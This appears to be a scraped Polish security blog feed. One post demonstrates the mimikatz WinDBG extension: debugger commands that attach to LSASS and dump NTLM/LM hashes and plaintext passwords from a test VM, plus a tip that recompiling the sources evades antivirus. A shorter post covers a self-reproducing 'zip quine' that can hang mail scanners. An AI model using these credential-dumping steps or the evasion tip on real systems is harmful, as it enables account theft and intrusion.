  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Nov 25 2013 11:42:09)
 .## ^ ##.  Windows build 7600
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` (
benjamin@gentilkiwi.com )
 '## v ##'  
http://blog.gentilkiwi.com/mimikatz
  '#####'                                  WinDBG extension ! * * */

===================================
#         * Kernel mode *         #
===================================
# Search for LSASS process
0: kd> !process 0 0 lsass.exe
# Then switch to its context
0: kd> .process /r /p <EPROCESS address>
# And finally :
0: kd> !mimikatz
===================================
#          * User mode *          #
===================================
0:000> !mimikatz
===================================

I w końcu uruchamiamy odpowiednią funkcję rozszerzającą windbg, która grzecznie zwraca nam to, co zgubiliśmy:

kd> !mimikatz

Authentication Id : 0 ; 81867 (00000000:00013fcb)
Session           : Interactive from 1
User Name         : Admin
Domain            : W7PROFENX86VM
 msv :
  [00000003] Primary
  * Username : Admin
  * Domain   : W7PROFENX86VM
  * LM       : 65c566d5eff8de4419d6c07b4d0a41ef
  * NTLM     : e4f1ba73165d937c5fc709517e604d73
 tspkg :
  * Username : Admin
  * Domain   : W7PROFENX86VM
  * Password : Pa$$w0rd
 wdigest :
  * Username : Admin
  * Domain   : W7PROFENX86VM
  * Password : Pa$$w0rd
 kerberos :
  * Username : Admin
  * Domain   : W7PROFENX86VM
  * Password : Pa$$w0rd
 ssp :

Authentication Id : 0 ; 81822 (00000000:00013f9e)
Session           : Interactive from 1
User Name         : Admin
Domain            : W7PROFENX86VM
 msv :
  [00000003] Primary
  * Username : Admin
  * Domain   : W7PROFENX86VM
  * LM       : 65c566d5eff8de4419d6c07b4d0a41ef
  * NTLM     : e4f1ba73165d937c5fc709517e604d73
 tspkg :
  * Username : Admin
  * Domain   : W7PROFENX86VM
  * Password : Pa$$w0rd
 wdigest :
  * Username : Admin
  * Domain   : W7PROFENX86VM
  * Password : Pa$$w0rd
 kerberos :
  * Username : Admin
  * Domain   : W7PROFENX86VM
  * Password : Pa$$w0rd
 ssp :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
 msv :
 tspkg : KO
 wdigest :
  * Username : (null)
  * Domain   : (null)
  * Password : (null)
 kerberos :
  * Username : (null)
  * Domain   : (null)
  * Password : (null)
 ssp :
  [00000000]
  [00000001]

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : W7PROFENX86VM$
Domain            : WORKGROUP
 msv :
 tspkg : KO
 wdigest :
  * Username : W7PROFENX86VM$
  * Domain   : WORKGROUP
  * Password : (null)
 kerberos :
  * Username : w7profenx86vm$
  * Domain   : WORKGROUP
  * Password : (null)
 ssp :
  [00000000]

Drobne ostrzeżenie - udostępniona przez Benjamina biblioteka jest już rozpoznawana przez programy antywirusowe, ale wystarczy samodzielnie przekompilować źródła, aby móc cieszyć się nowym narzędziem :)

Niezmiennik zipa

$
0
0

Czas kończyć odpowiedzi na zagadki z sierpnia. Dzisiejsza notka z tym związana jest arcykrótka :)

Zdanie - zagadka brzmiało następująco:

2. Istnieje plik będący archiwum .zip, który po rozpakowaniu jest tym samym plikiem ('niezmiennik zipa').

Tak, istnieje co najmniej jeden taki plik, więcej tu: [KLIK]. (Link do przykładowego pliku: [KLIK])

Jakieś uwagi? Po pierwsze - trzeba uważać na nieskończoną rekurencję przy rozpakowywaniu tego typu plików. Szczególnie zagrożone są tu np. systemy pocztowe i analiza AV oraz antyspamowa dla poczty wchodzącej - może się okazać, że wypakowując w nieskończoność takiego zipa skutecznie zablokujemy cały serwer pocztowy :)

Viewing all 54 articles
Browse latest View live